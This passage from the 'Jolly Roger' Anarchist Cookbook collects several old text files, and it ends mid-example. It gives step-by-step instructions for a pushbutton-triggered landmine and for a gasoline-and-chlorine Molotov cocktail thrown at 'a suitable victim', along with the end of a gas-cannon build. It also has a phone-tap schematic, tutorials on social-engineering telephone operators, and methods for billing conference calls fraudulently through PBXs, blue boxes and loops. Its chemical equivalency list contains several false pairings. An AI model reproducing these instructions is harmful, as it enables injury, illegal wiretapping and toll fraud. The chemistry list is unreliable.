  1690. the side of the cannon barrel (yes, but looks aren't everything!)
  1691.  
  1692.  - You should now be able to let a little gas into the barrel and
  1693. set it off by flipping the switch.
  1694.  
  1695.  - Put the cap on the back end of the large pipe VERY SECURELY.
  1696. You are now ready for the first trial-run!
  1697.  
  1698. To Test:
  1699.  
  1700. Put something very, very large into the barrel, just so that it
  1701. fits 'just right'. Now, find a strong guy (the recoil will
  1702. probably knock you on your ass if you aren't careful!). Put on a
  1703. shoulderpad, earmuffs, and possibly some other protective clothing
  1704. (trust the Jolly Roger! You are going to need it!). Hold the
  1705. trigger down for 30 seconds, hold on tight, and hit the switch.
  1706. With luck and the proper adjustments, you should be able to put a
  1707. frozed orange through 1/4 or plywood at 25 feet.
  1708.  
  1709. Have fun!                                  -Jolly Roger-
  1710.  
  1711.  
  1712. Chemical Equivalency list                       by the Jolly Roger
  1713.  
  1714. Acacia..................................................Gum Arabic
  1715. Acetic Acid................................................Vinegar
  1716. Aluminum Oxide..............................................Alumia
  1717. Aluminum Potassium Sulphate...................................Alum
  1718. Aluminum Sulfate..............................................Alum
  1719. Ammonium Carbonate.......................................Hartshorn
  1720. Ammonium Hydroxide.........................................Ammonia
  1721. Ammonium Nitrate........................................Salt Peter
  1722. Ammonium Oleate.......................................Ammonia Soap
  1723. Amylacetate............................................Bananna Oil
  1724. Barium Sulfide...........................................Black Ash
  1725. Carbon Carbinate.............................................Chalk
  1726. Carbontetrachloride.................................Cleaning Fluid
  1727. Calcium Hypochloride..............................Bleaching Powder
  1728. Calcium Oxide.................................................Lime
  1729. Calcium Sulfate...................................Plaster of Paris
  1730. Carbonic Acid..............................................Seltzer
  1731. Cetyltrimethylammoniumbromide........................Ammonium Salt
  1732. Ethylinedichloride.....................................Dutch Fluid
  1733. Ferric Oxide.............................................Iron Rust
  1734. Furfuraldehyde............................................Bran Oil
  1735. Glucose.................................................Corn Syrup
  1736. Graphite...............................................Pencil Lead
  1737. Hydrochloric Acid....................................Muriatic Acid
  1738. Hydrogen Peroxide.........................................Peroxide
  1739. Lead Acetate.........................................Sugar of Lead
  1740. Lead Tero-oxide...........................................Red Lead
  1741. Magnesium Silicate............................................Talc
  1742. Magnesium Sulfate.......................................Epsom Salt
  1743. Methylsalicylate..................................Winter Green Oil
  1744.  
  1745.  
  1746. Naphthalene..............................................Mothballs
  1747. Phenol...............................................Carbolic Acid
  1748. Potassium Bicarbonate..............................Cream of Tarter
  1749. Potassium Chromium Sulfate..............................Chromealum
  1750. Potassium Nitrate.......................................Salt Peter
  1751. Sodium Oxide..................................................Sand
  1752. Sodium Bicarbonate.....................................Baking Soda
  1753. Sodium Borate................................................Borax
  1754. Sodium Carbonate......................................Washing Soda
  1755. Sodium Chloride...............................................Salt
  1756. Sodium Hydroxide...............................................Lye
  1757. Sodium Silicate..............................................Glass
  1758. Sodium Sulfate......................................Glauber's Salt
  1759. Sodium Thiosulfate.............................Photographer's Hypo
  1760. Sulfuric Acid.........................................Battery Acid
  1761. Sucrose.................................................Cane Sugar
  1762. Zinc Chloride.......................................Tinner's Fluid
  1763. Zinc Sulfate.........................................White Vitriol
  1764.  
  1765.  
  1766.  
  1767. Phone Taps                                      by The Jolly Roger
  1768.  
  1769. Here is some info on phone taps. In this file is a schematic for a
  1770. simple wiretap & instructions for hooking up a small tape recorder
  1771. control relay to the phone line.
  1772.  
  1773. First, I will discuss taps a little. There are many different
  1774. types of taps. there are transmitters, wired taps, and induction
  1775. taps to name a few. Wired and wireless transmitters must be
  1776. physically connected to the line before they will do any good.
  1777. Once a wireless tap is connected to the line,it can transmit all
  1778. conversations over a limited reception range. The phones in the
  1779. house can even be modifies to pick up conversations in the room
  1780. and transmit them too! These taps are usually powered off of the
  1781. phone line, but can have an external power source. You can get more
  1782. information on these taps by getting an issue of Popular
  1783. Communications and reading through the ads. Wired taps, on the
  1784. other hand, need no power source, but a wire must be run from the
  1785. line to the listener or to a transmitter. There are obvious
  1786. advantages of wireless taps over wired ones. There is one type of
  1787. wireless tap that looks like a normal telephone mike. All you have
  1788. to do is replace the original mike with thisand itwill transmit
  1789. all conversations! There is also an exotic type of wired tap known
  1790. as the 'Infinity Transmitter' or 'Harmonica Bug'. In order to hook
  1791. one of these, it must be installed inside the phone. When someone
  1792. calls the tapped phone & *before* it rings,blows a whistle over
  1793. the line, the transmitter picks up the phone via a relay. The mike
  1794. on the phone is activated so that the caller can hear all of the
  1795. conversations in the room. There is a sweep tone test at
  1796. 415/BUG-1111 which can be used to detect one of these taps. If one
  1797. of these is on your line & the test # sends the correct tone, you
  1798. will hear a click. Induction taps have one big advantage over taps
  1799. that must be physically wired to the phone. They do not have to be
  1800. touching the phone in order to pick up the conversation. They work
  1801. on the same principle as the little suction-cup tape recorder
  1802. mikes that you can get at Radio Shack. Induction mikes can be
  1803. hooked up to a transmitter or be wired.
  1804.  
  1805.  
  1806. çHere is an example of industrial espionage using the phone:
  1807.  A salesman walks into an office & makes a phone call. He fakes
  1808. the conversation, but when he hangs up he slips some foam rubber
  1809. cubes into the cradle. The called party can still hear all
  1810. conversations in the room. When someone picks up the phone, the
  1811. cubes fall away unnoticed.
  1812.  
  1813. A tap can also be used on a phone to overhear what your modem is
  1814. doing when you are wardialing, hacking, or just plain calling a
  1815. bbs (like the White Ruins! Denver, Colorado! 55 megs online!
  1816. Atari! Macintosh! Amiga! Ibm! CALL IT! 303-972-8566! By the way, i
  1817. did this ad without the sysops consent or knowledge!).
  1818.  
  1819. Here is the schematic:
  1820. -------)!----)!(------------->
  1821.              )!(
  1822.   Cap ^      )!(
  1823.              )!(
  1824.              )!(
  1825.              )!(
  1826.      ^^^^^---)!(------------->
  1827.        ^  100K
  1828.        !
  1829.        ! <Input
  1830.  
  1831. The 100K pot is used for volume. It should be on its highest
  1832. (least resistance) setting if you hook a speaker across the
  1833. output. but it should be set on its highest resistance for a tape
  1834. recorder or amplifier. You may find it necessary to add another
  1835. 10 - 40K. The capacitor should be around .47 MFD. It's only
  1836. purpose is to prevent the relay in the phone from tripping &
  1837. thinking that you have the phone off of the hook. the audio output
  1838. transformer is available at Radio Shack. (part # 273-138E for
  1839. input). The red & the white wires go to the output device. You may
  1840. want to experiment with the transformer for the best output.
  1841. Hooking up a tape recorder relay is easy. Just hook one of the phone
  1842. wires (usually red) to the the end of one of the relay & the ther
  1843. end just loop around. This bypasses it. It should look like this:
  1844.  
  1845. ------^^^^^^^^^------------
  1846.       ---------
  1847.       RELAY^^
  1848. (part #275-004 from Radio Shack works fine)
  1849.  
  1850. If you think that you line is tapped, the first thing to do is to
  1851. physically inspect the line yourself ESPECIALLY the phones. You
  1852. can get mike replacements with bug detectors built in. However, I
  1853. would not trust them too much. It is too easy to get a wrong
  1854. reading.
  1855.  
  1856. For more info:
  1857.  
  1858. BUGS AND ELECTRONIC SURVEILANCE from Desert Publications
  1859. HOW TO AVOID ELECTRONIC EAVESDROPPING & PRIVACY INVASION. I do not
  1860. remember who this one is from... you might want to try Paladin
  1861. Press.
  1862.  
  1863.                                           -Jolly Roger-
  1864.  
  1865.  
  1866.  
  1867.  
  1868. How to make a landmine                          by The Jolly Roger
  1869.  
  1870. First, you need to get a pushbutton switch. Take the wires of it
  1871. and connect one to a nine volt battery connector and the other to
  1872. a solar igniter (used for launching model rockets). A very thin
  1873. piece of stereo wire will usually do the trick if you are
  1874. desperate, but I recommend the igniter. Connect the other wire of
  1875. the nine-volt battery to one end of the switch. Connect a wire
  1876. from the switch to the other lead on the solar igniter.
  1877.  
  1878.        switch-----------battery
  1879.          \                  /
  1880.           \                /
  1881.            \              /
  1882.             \            /
  1883.             solar  igniter
  1884.                   |
  1885.                   |
  1886.                   |
  1887.               explosive
  1888.  
  1889. Now connect the explosive (pipe bomb, m-80, CO2 bomb, etc.) to the
  1890. igniter by attaching the fuse to the igniter (seal it with scotch
  1891. tape). Now dig a hole; not too deep but enough to cover all of the
  1892. materials. Think about what direction your enemy will be coming from
  1893. and plant the switch, but leave the button visible (not TOO
  1894. visible!). Plant the explosive about 3-5 feet away from the switch
  1895. because there will be a delay in the explosion that depends on how
  1896. short your wick is, and, if a homemade wick is being used, its
  1897. burning speed. But if you get it right... and your enemy is close
  1898. enough......... BBBBBBBOOOOOOOOOOOOOOOOOOOOOOOOMMMM! hahahaha
  1899.  
  1900.                                           -Jolly Roger-
  1901.  
  1902.  
  1903. A different kind of Molitoff Cocktail               by the Jolly Roger
  1904.  
  1905. Here is how you do it:
  1906.  
  1907.  - Get a coke bottle & fill it with gasoline about half full
  1908.  
  1909.  - Cram a piece of cloth into the neck of it nice and tight
  1910.  
  1911.  - Get a chlorine tablet and stuff it in there. You are going to have
  1912. to force it because the tablets are bigger than the opening of the
  1913. bottle.
  1914.  
  1915.  - Now find a suitable victim and wing it in their direction. When it
  1916. hits the pavement or any surface hard enough to break it, and the chlorine
  1917. and gasoline mix..... BOOM!!!!!!
  1918. Have fun!                                    -Jolly Roger-
  1919.  
  1920. Phone Systems Tutorial                          by The Jolly Roger
  1921.  
  1922. To start off, we will discuss the dialing procedures for domestic
  1923. as well as international dialing. We will also take a look at the
  1924.  
  1925.  
  1926. telephone numbering plan.
  1927.  
  1928. North American Numbering Plan
  1929. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  1930.  
  1931. In North America, the telephone numbering plan is as follows:
  1932.  
  1933. A) a 3 digit Numbering Plan Area (NPA) code , ie, area code
  1934. B) a 7 digit telephone # consisting of a 3 digit Central Office
  1935. (CO) code plus a 4 digit station #
  1936.  
  1937. These 10 digits are called the network address or destination
  1938. code. It is in the format of:
  1939.  
  1940.       Area Code         Telephone #
  1941.       ---------         -----------
  1942.  
  1943.          N*X             NXX-XXXX
  1944.  
  1945. Where: N = a digit from 2 to 9
  1946.        * = the digit 0 or 1
  1947.        X = a digit from 0 to 9
  1948.  
  1949. Area Codes
  1950. ~~~~~~~~~~
  1951.  
  1952. Check your telephone book or the seperate listing of area codes
  1953. found on many bbs's. Here are the special area codes (SAC's):
  1954.  
  1955.    510 - TWX (USA)
  1956.    610 - TWX (Canada)
  1957.    700 - New Service
  1958.    710 - TWX (USA)
  1959.    800 - WATS
  1960.    810 - TWX (USA)
  1961.    900 - DIAL-IT Services
  1962.    910 - TWX (USA)
  1963.  
  1964. The other area codes never cross state lines, therefore each state
  1965. must have at least one exclusive NPA code. When a community is
  1966. split by a state line, the CO #'s are often interchangeable (ie,
  1967. you can dial the same number from two different area codes).
  1968.  
  1969. TWX (Telex II) consists of 5 teletype-writer area codes. They are
  1970. owned by Western Union. These SAC's may only be reached via other
  1971. TWX machines. These run at 110 baud (last I checked! They are most
  1972. likely faster now!). Besides the TWX #'s, these machines are
  1973. routed to normal telephone #'s. TWX machines always respond with
  1974. an answerback. For example, WU's FYI TWX # is (910) 279-5956. The
  1975. answerback for this service is "WU FYI MAWA".
  1976.  
  1977. If you don't want to but a TWX machine, you can still send TWX
  1978. messages using Easylink [800/325-4112]. However you are gonna have
  1979. to hack your way onto this one!
  1980.  
  1981. 700:
  1982.  
  1983. 700 is currently used by AT&T as a call forwarding service. It is
  1984.  
  1985.  
  1986. targeted towards salesmen on the run. To understand how this
  1987. works, I'll explain it with an example. Let's say Joe Q. Salespig
  1988. works for AT&T security and he is on the run chasing a phreak
  1989. around the country who royally screwed up an important COSMOS
  1990. system. Let's say that Joe's 700 # is (700) 382-5968. Everytime
  1991. Joe goes to a new hotel (or most likely SLEAZY MOTEL), he dials a
  1992. special 700 #, enters a code, and the number where he is staying.
  1993. Now, if his boss received some important info, all he would do is
  1994. dial (700) 382-5968 and it would ring wherever Joe last progammed
  1995. it to. Neat, huh?
  1996.  
  1997. 800:
  1998.  
  1999. This SAC is one of my favourites since it allows for toll free
  2000. calls. INWARD WATS (INWATS), or Inward Wide Area
  2001. Telecommunications Service is the 800 #'s that we are all familiar
  2002. with. 800 #'s are set up in service areas or bands. There are 6 of
  2003. these. Band 6 is the largest and you can call a band 6 # from
  2004. anywhere in the US except the state where the call is terminated
  2005. (that is why most companies have one 800 number for the countery
  2006. and then another one for their state.) Band 5 includes the 48
  2007. contiguous states. All the way down to band 1 which includes only
  2008. the states contiguous to that one. Therefore, less people can
  2009. reach a band 1 INWATS # than a band 6 #.
  2010.  
  2011. Intrastate INWATS #'s (ie, you can call it from only 1 state)
  2012. always have a 2 as the last digit in the exchange (ie, 800-NX2-
  2013. XXXX). The NXX on 800 #'s represent the area where the business is
  2014. located. For example, a # beginning with 800-431 would terminate
  2015. at a NY CO.
  2016.  
  2017. 800 #'s always end up in a hunt series in a CO. This means that it
  2018. tries the first # allocated to the company for their 800 lines; if
  2019. this is busy, it will try the next #, etc. You must have a minimum
  2020. of 2 lines for each 800 #. For example, Travelnet uses a hunt
  2021. series. If you dial (800) 521-8400, it will first try the #
  2022. associated with 8400; if it is busy it will go to the next
  2023. available port, etc. INWATS customers are billed by the number of
  2024. hours of calls made to their #.
  2025.  
  2026. OUTWATS (OUTWARD WATS): OUTWATS are for making outgoing calls
  2027. only. Largecompanies use OUTWATS since they receive bulk-rate
  2028. discounts. Since OUTWATS numbers cannot have incoming calls, they
  2029. are in the format of:
  2030.  
  2031.    (800) *XXX-XXXX
  2032.  
  2033. Where * is the digit 0 or 1 (or it may even be designated by a
  2034. letter) which cannot be dialed unless you box the call. The *XX
  2035. identifies the type of service and the areas that the company can
  2036. call.
  2037.  
  2038. Remember:
  2039.  
  2040.  INWATS + OUTWATS = WATS EXTENDER
  2041.  
  2042. 900:
  2043.  
  2044.  
  2045.  
  2046. This DIAL-IT SAC is a nationwide dial-it service. It is use for
  2047. taking television polls and other stuff. The first minute
  2048. currently costs an outrageous 50-85 cents and each additional
  2049. minute costs 35-85 cents. Hell takes in a lot of revenue this way!
  2050.  
  2051. Dial (900) 555-1212 to find out what is currently on this service.
  2052.  
  2053. CO CODES
  2054. ~~~~~~~~
  2055.  
  2056. These identify the switching office where the call is to be
  2057. routed. The following CO codes are reserved nationwide:
  2058.  
  2059.    555 - directory assistance
  2060.    844 - time. These are now in!
  2061.    936 - weather the 976 exchange
  2062.    950 - future services
  2063.    958 - plant test
  2064.    959 - plant test
  2065.    970 - plant test (temporary)
  2066.    976 - DIAL-IT services
  2067.  
  2068. Also, the 3 digit ANI & ringback #'s are regarded as plant test
  2069. and are thus reserved. These numbers vary from area to area.
  2070.  
  2071. You cannot dial a 0 or 1 as the first digit of the exchange code
  2072. (unless using a blue box!). This is due to the fact that these
  2073. exchanges (000-199) contains all sorts of interesting shit such as
  2074. conference #'s, operators, test #'s, etc.
  2075.  
  2076. 950:
  2077.  
  2078. Here are the services that are currently used by the 950 exchange:
  2079.  
  2080.    1000 - SPC
  2081.    1022 - MCI Execunet
  2082.    1033 - US Telephone
  2083.    1044 - Allnet
  2084.    1066 - Lexitel
  2085.    1088 - SBS Skyline
  2086.  
  2087. These SCC's (Specialized Common Carriers) are free from fortress
  2088. phones! Also, the 950 exchange will probably be phased out with
  2089. the introduction of Equal Access
  2090.  
  2091. Plant Tests:
  2092.  
  2093. These include ANI, Ringback, and other various tests.
  2094.  
  2095. 976:
  2096.  
  2097. Dial 976-1000 to see what is currently on the service. Also, many
  2098. bbs's have listings of these numbers.
  2099.  
  2100. N11 codes:
  2101. ----------
  2102. Bell is trying to phase out some of these, but they still exist in
  2103. most areas.
  2104.  
  2105.  
  2106. ç  011 - international dialing prefix
  2107.   211 - coin refund operator
  2108.   411 - directory assistance
  2109.   611 - repair service
  2110.   811 - business office
  2111.   911 - EMERGENCY
  2112.  
  2113. International Dialing
  2114. ~~~~~~~~~~~~~~~~~~~~~
  2115.  
  2116. With International Dialing, the world has been divided into 9
  2117. numbering zones. To make an international call, you must first
  2118. dial: International Prefix + Country code + National #
  2119.  
  2120. In North America, the international dialing prefix is 011 for
  2121. station-to-station calls. If you can dial International #'s
  2122. directly in your area then you have International Direct Distance
  2123. Dialing (IDDD).
  2124.  
  2125. The country code, which varies from 1 to 3 digits, always has the
  2126. world numbering zone as the first digit. For example, the country
  2127. code for the United Kingdom is 44, thus it is in world numbering
  2128. zone 4. Some boards may contain a complete listing of other
  2129. country codes, but here I give you a few:
  2130.  
  2131.    1 - North America (US, Canada, etc.)
  2132.   20 - Egypt
  2133.  258 - Mozambique
  2134.   34 - Spain
  2135.   49 - Germany
  2136.   52 - Mexico (southern portion)
  2137.    7 - USSR
  2138.   81 - Japan
  2139.   98 - Iran (call & hassle those bastards!)
  2140.  
  2141. If you call from an area other than North America, the format is
  2142. generally the same. For example, let's say that you wanted to call
  2143. the White House from Switzerland to tell the prez that his
  2144. numbered bank account is overdrawn (it happens, you know! ha ha).
  2145. First you would dial 00 (the SWISS international dialing refix),
  2146. then 1 (the US country code), followed by 202-456-1414 (the
  2147. national # for the White House. Just ask for Georgy and give him
  2148. the bad news!)
  2149.  
  2150. Also, country code 87 is reserved for Maritime mobile service, ie,
  2151. calling ships:
  2152.  
  2153.    871 - Marisat (Atlantic)
  2154.    871 - Marisat (Pacific)
  2155.    872 - Marisat (Indian)
  2156.  
  2157. International Switching:
  2158. ------------------------
  2159.  
  2160. In North America there are currently 7 no. 4 ESS's that perform
  2161. the duty of ISC (Inter-nation Switching Centers). All
  2162. international calls dialed from numbering zone 1 will be routed
  2163. through one of these "gateway cities". They are:
  2164.  
  2165.  
  2166. ç  182 - White Plains, NY
  2167.   183 - New York, NY
  2168.   184 - Pittsburgh, PA
  2169.   185 - Orlando, Fl
  2170.   186 - Oakland, CA
  2171.   187 - Denver, CO
  2172.   188 - New York, NY
  2173.  
  2174. The 18X series are operator routing codes for overseas access (to
  2175. be furthur discussed with blue boxes). All international calls use
  2176. a signaling service called CCITT.It is an international standard
  2177. for signaling.
  2178.  
  2179. Ok.. there you go for now! If you wanna read more about this, read
  2180. part two which is the next file #36 in the Jolly Roger's cookbook!
  2181.  
  2182.                                        -Jolly Roger-
  2183.  
  2184.  
  2185. Phone Systems Tutorial part II                  by The Jolly Roger
  2186.  
  2187. Part II will deal with the various types of operators, office
  2188. heirarchy, & switching equipment.
  2189.  
  2190. Operators
  2191. ~~~~~~~~~
  2192.  
  2193. There are many types of operators in the network and the more
  2194. common ones will be discussed.
  2195.  
  2196. TSPS Operator:
  2197.  
  2198. The TSPS [(Traffic Service Position System) ass opposed to This
  2199. Shitty Phone Service] Operator is probably the bitch (or bastard,
  2200. for the female libertationists out there) that most of us are used
  2201. to having to deal with. Here are his/her responsibilities:
  2202.  
  2203. 1) Obtaning billing information for calling card or third number
  2204. calls
  2205.  
  2206. 2) Identifying called customer on person-to-person calls.
  2207.  
  2208. 3) Obtaining acceptance of charges on collect calls.
  2209.  
  2210. 4) Identifying calling numbers. This only happens when the calling
  2211. # is not automatically recorded by CAMA (Centralized Automatic
  2212. Message Accounting) & forwarded from the local office. This could
  2213. be caused by equipment failures (ANIF- Automatic Number
  2214. Identification Failure) or if the office is not equipped for CAMA
  2215. (ONI- Operator Number Identification).
  2216.  
  2217. <I once has an equipment failure happen to me & the TSPS operator
  2218. came on and said, "What # are you calling FROM?" Out of curiosity,
  2219. I gave her the number to my CO, she thanked me & then I was
  2220. connected to a conversation that appeared to be between a frameman
  2221. & his wife. Then it started ringing the party I wanted to
  2222. originally call & everyone phreaked out (excuse the pun). I
  2223. immediately dropped this dual line conference!
  2224.  
  2225.  
  2226. çYou should not mess with the TSPS operator since she KNOWS which
  2227. number that you are calling from. Your number will show up on a
  2228. 10-digit LED read-out (ANI board). She also knows whether or not
  2229. you are at a fortress phone & she can trace calls quite readily!
  2230. Out of all of the operators, she is one of the MOST DANGEROUS.
  2231.  
  2232. INWARD operator:
  2233.  
  2234. This operator assists your local TSPS ("0") operatorin connecting
  2235. calls. She will never question a call as long as the call is
  2236. withing HER SERVICE AREA. She can only be reached via other
  2237. operators or by a blue box. From a blue box, you would dial
  2238. KP+NPA+121+ST for the INWARD operator that will help you connect
  2239. any calls within that NPA only. (Blue Boxing will be discussed in
  2240. a future file).
  2241.  
  2242. DIRECTORY ASSISTANCE Operator:
  2243.  
  2244. This is the operator that you are connected to when you dial: 411
  2245. or NPA-555-1212. She does not readily know where you are calling
  2246. from. She does not have access to unlisted numbers, but she DOES
  2247. know if an unlisted # exists for a certain listing.
  2248.  
  2249. There is also a directory assistance operator for deaf people who
  2250. use teletypewriters. If your modem can transfer BAUDOT [(45.5
  2251. baud). One modem that I know of that will do this is the Apple Cat
  2252. acoustic or the Atari 830 acoustic modem. Yea I know they are hard
  2253. to find... but if you wanna do this.. look around!) then you can
  2254. call him/her up and have an interesting conversation. The # is:
  2255. 800-855-1155. They use the standard Telex abbreviations such as GA
  2256. for go ahead. they tend to be nicer and will talk longer than your
  2257. regular operators. Also, they are more vulnerable into being
  2258. talked out of information through the process of "social
  2259. engineering" as Chesire Catalyst would put it.
  2260.  
  2261. <Unfortunately, they do not have access to much. I once
  2262. bullshitted with one of these operators a while back and I found
  2263. out that there are 2 such DA offices that handle TTY. One is in
  2264. Philadelphia and the other is in California. They have approx. 7
  2265. operators each. most of the TTY operators think that their job is
  2266. boring (based on an official "BIOC poll"). They also feel that
  2267. they are under-paid. They actually call up a regular DA # to
  2268. process your request (sorry, no fancy computers!)
  2269.  
  2270. Other operators have access to their own DA by dialing
  2271. KP+NPA+131+ST (MF).
  2272.  
  2273. CN/A operators:
  2274.  
  2275. CN/A Operators are operators that do exactly the opposite of what
  2276. directory assistance operators are for. In my experience, these
  2277. operators know more than the DA op's do & they are more
  2278. susceptable to "social engeneering." It is possible to bullshit a
  2279. CN/A operator for the NON-PUB DA # (ie, you give them the name &
  2280. they give you the unlisted number. See the article on unlisted
  2281. numbers in this cookbook for more info about them.). This is due
  2282. to the fact that they assume that you are a fellow company
  2283. employee. Unfortunately, the AT&T breakup has resulted in the
  2284.  
  2285.  
  2286. break-up of a few NON-PUB DA #'s and policy changes in CN/A
  2287.  
  2288. INTERCEPT Operator:
  2289.  
  2290. The intercept operator is the one that you are connected to when
  2291. there are notenough recordings available to tell you that the #
  2292. has been disconnected or changed. She usually says, "What # you
  2293. callin'?" with a foreign accent. This is the lowest operator
  2294. lifeform. Even though they don't know where you are calling from,
  2295. it is a waste or your time to try to verbally abuse them since
  2296. they usually understand very little English anyway.
  2297.  
  2298. Incidentally, a few area DO have intelligent INTERCEPT Operators.
  2299.  
  2300. OTHER Operators:
  2301.  
  2302. And then there are the: MObile, Ship-to-Shore, Conference, Marine
  2303. Verify, "Leave Word and Call Back," Rout & Rate
  2304. (KP+800+141+1212+ST), & other special operators who have one
  2305. purpose or another in the network.
  2306.  
  2307. Problems with an Operator> Ask to speak to their supervisor... or
  2308. better yet the Group Chief (who is the highest ranking official in
  2309. any office) who is the equivalent of the Madame ina whorehouse.
  2310.  
  2311. By the way, some CO's that willallow you to dial a 0 or 1 as the
  2312. 4th digit, will also allow you to call special operators & other
  2313. fun Tel. Co. #'s without a blue box. This is ver rare, though! For
  2314. example,212-121-1111 will get you a NY Inward Operator.
  2315.  
  2316. Office Hierarchy
  2317. ~~~~~~~~~~~~~~~~
  2318.  
  2319. Every switching office in North America (the NPA system), is
  2320. assigned an office name and class. There are five classes of
  2321. offices numbered 1 through 5. Your CO is most likely a class 5 or
  2322. end office. All long-distance (Toll) calls are switched by a toll
  2323. office which can be a class 4, 3, 2, or 1 office. There is also a
  2324. class 4X office callen an intermediate point. The 4X office is a
  2325. digital one that can have an unattended exchange attached to it
  2326. (known as a Remote Switching Unit (RSU)).
  2327.  
  2328. The following chart will list the Office #, name, & how many of
  2329. those office exist (to the best of my knowledge) in North America:
  2330.  
  2331. Class                 Name           Abb          # Existing
  2332. -----        ----------------------- ---      -----------------
  2333. > 1          Regional Center          RC                   12
  2334. > 2          Sectional Center         SC                   67
  2335. > 3          Primary Center           PC                  230
  2336. > 4          Toll Center              TC                1,300
  2337. > 4P         Toll Point               TP                 n/a
  2338. > 4X         Intermediate Point       IP                 n/a
  2339. > 5          End Office               EO               19,000
  2340. > 6          RSU                     RSU                 n/a
  2341.  
  2342. When connecting a call from one party to another, the switching
  2343. equipment usually tries to find the shortest route between the
  2344.  
  2345.  
  2346. class 5 end office of the caller & the class 5 end officeof the
  2347. called party. If no inter-office trunks exist between the two
  2348. parties, it will then move upward to the next highest office for
  2349. servicing calls (Class 4). If the Class 4 office cannot handle the
  2350. call by sending it to another Class 4 or 5 office, it will then be
  2351. sent to the next highest office in the hierarchy (3). The
  2352. switching equipment first uses the high-usage interoffice trunk
  2353. groups, if they are busy then it goes to the fina; trunk groups on
  2354. the next highest level. If the call cannot be connected, you will
  2355. probably get a re-order [120 IPM (interruptions per minute) busy
  2356. signal] signal. At this time, the guys at Network Operations are
  2357. probably shitting in their pants and trying to avoid the dreaded
  2358. Network Dreadlock (as seen on TV!).
  2359.  
  2360. It is also interesting to note that 9 connections in tandem is
  2361. called ring-around-the-rosy and it has never occured in telephone
  2362. history. This would cause an endless loop connection [a neat way
  2363. to really screw up the network].
  2364.  
  2365. The 10 regional centers in the US & the 2 in Canada are all
  2366. interconnected. they form the foundation of the entire telephone
  2367. network. Since there are only 12 of them, they are listed below:
  2368.  
  2369. Class 1 Regional Office Location   NPA
  2370. --------------------------------   ---
  2371. Dallas 4 ESS                       214
  2372. Wayne, PA                          215
  2373. Denver 4T                          303
  2374. Regina No. 2SP1-4W (Canada)        306
  2375. St. Louis 4T                       314
  2376. Rockdale, GA                       404
  2377. Pittsburgh 4E                      412
  2378. Montreal No. 1 4AETS (Canada)      504
  2379.  
  2380. That's it for now! More info to come Future update to the
  2381. Cookbook! Have fun!                        -Jolly Roger-
  2382.  
  2383.  
  2384.  
  2385. Basic Alliance Teleconferencing                 Courtesy of the Jolly Roger
  2386.  
  2387. Introduction:
  2388. ------------
  2389. This phile will deal with accessing, understanding and using the Alliance
  2390. Teleconferencing Systems.... it has many sections and for best use should
  2391. be printed out...enjoy...
  2392.  
  2393. Alliance:
  2394. --------
  2395. Alliance Teleconferencing is an independant company which allows the
  2396. general
  2397. public to access and use it's conferencing equipment.  Many rumors have
  2398. been floating apound that Alliance is a subsidary of AT&T.
  2399. Well, they are wrong.  As stated above, Alliance is an entirely independant
  2400. company.  They use sophisticated equipment to allow users to talk to many
  2401. people at once.
  2402.  
  2403. The Number:
  2404.  
  2405.  
  2406. ---------
  2407. Alliance is in the 700 exchange, thus it is not localized, well, not
  2408. in a way.  Alliance is only in certain states, and only
  2409. residents of these certain states can access by dialing direct.  This,
  2410. however, will be discussed in a later chapter.  The numbers for alliance
  2411. are
  2412. as follows:
  2413.      0-700-456-1000 (chicago)
  2414.               -1001 (los angeles)
  2415.               -1002 (chicago)
  2416.               -1003 (houston)
  2417.               -2000 (?)
  2418.               -2001 (?)
  2419.               -2002 (?)
  2420.               -2003 (?)
  2421.               -3000 (?)
  2422.               -3001 (?)
  2423.               -3002 (?)
  2424.               -3003 (?)
  2425.  
  2426. The locations of the first 4 numbers are known and i have stated them.
  2427. However, the numbers in the 200x and 300x are not definately known.
  2428. Rumor has it that the pattern repeats itself but this has not been proven.
  2429.  
  2430. Dialing:
  2431. -------
  2432. As stated before, Alliance is only in certain stated and only these states
  2433. can access them via dialing direct.  However, dialing direct causes your
  2434. residence to be charged for the conference and conference bills are not
  2435. low!!!
  2436. Therefore, many ways have been discovered to start a conference without
  2437. having it billed to ones house.  They are as follows:
  2438.  
  2439.      1) Dialing through a PBX
  2440.      2) Incorporating a Blue Box
  2441.      3) Billing to a loop
  2442.      4) Billing to a forwarded call
  2443.  
  2444. I am sure there are many more but these are the four i will deal with.
  2445.  
  2446. Dialing through a PBX:
  2447. ------- ------- - ---
  2448. Probably the easiest method of creating a free conference is through a PBX.
  2449. Simply call one in a state that has Alliance, input the PBX's code,
  2450. dial 9 for an outside line and then dial alliance.
  2451. An example of this would be:
  2452.  
  2453. PBX: 800-241-4911
  2454.  
  2455. When it answers it will give you a tone.  At this tone input your code.
  2456.  
  2457. Code: 1234
  2458.  
  2459. After this you will receive another tone, now dial 9 for an outside line.
  2460. You will now hear a dial tone.  Simply dial Alliance from this point and
  2461. the conference will be billed to the PBX.
  2462.  
  2463. Using a Blue Box:
  2464.  
  2465.  
  2466. ----- - ---- ---
  2467. Another rather simple way of starting a conference is with a Blue Box.
  2468. The following procedure is how to box a conference:
  2469. Dial a number to box off of.  In this example we will use 609-609-6099
  2470. When the party answers hit 2600hz.  This will cause the fone company's
  2471. equipment to think that you have hung up.  You will hear a <beep><kerchunk>
  2472. You have now 'seized' a trunk.  After this, switch to multi-frequency
  2473. and dial:
  2474.  
  2475. KP-0-700-456-x00x-ST
  2476. KP=KP tone on Blue Box
  2477. x=variable between 1 and 3
  2478. ST=ST tone on Blue Box
  2479. The equipment now thinks that the operator has dialed Alliance from her
  2480. switchboard and the conference shall be billed there.  Since Blue Boxing
  2481. is such a large topic, this is as far as I will go into it's uses.
  2482.  
  2483. Billing to a loop:
  2484. ------- -- - ----
  2485. A third method of receiving a free conference is by billing out to a
  2486. loop.  A loop is 2 numbers that when two people call, they can talk
  2487. to each other.  You're saying woop-tee-do right? Wrong! Loops can be
  2488. <very> usefull to phreaks.  First, dial alliance direct.  After going
  2489. through the beginning procedure, which will be discussed later in this
  2490. tutorial, dial 0 and wait for an Alliance operator.  When she answers
  2491. tell her you would like to bill the conference to such and such a
  2492. number. (A loop where your phriend is on the other side) She will then
  2493. call that number to receive voice verification.
  2494. Of course your phriend will be waiting and will accept the charges.
  2495. Thus, the conference is billed to the loop.
  2496.  
  2497. Billing to call forwarding:
  2498. ------- -- ---- ----------
  2499. When you dial a number that is call forwarded, it is first answered by
  2500. the original location, then forwarded.  The original location will
  2501. hang up if 2600hz is received from only ond end of the line.
  2502. Therefore, if you were to wait after the forwarded residence answered,
  2503. you would receive the original location's dial tone.
  2504.  
  2505.      Example:
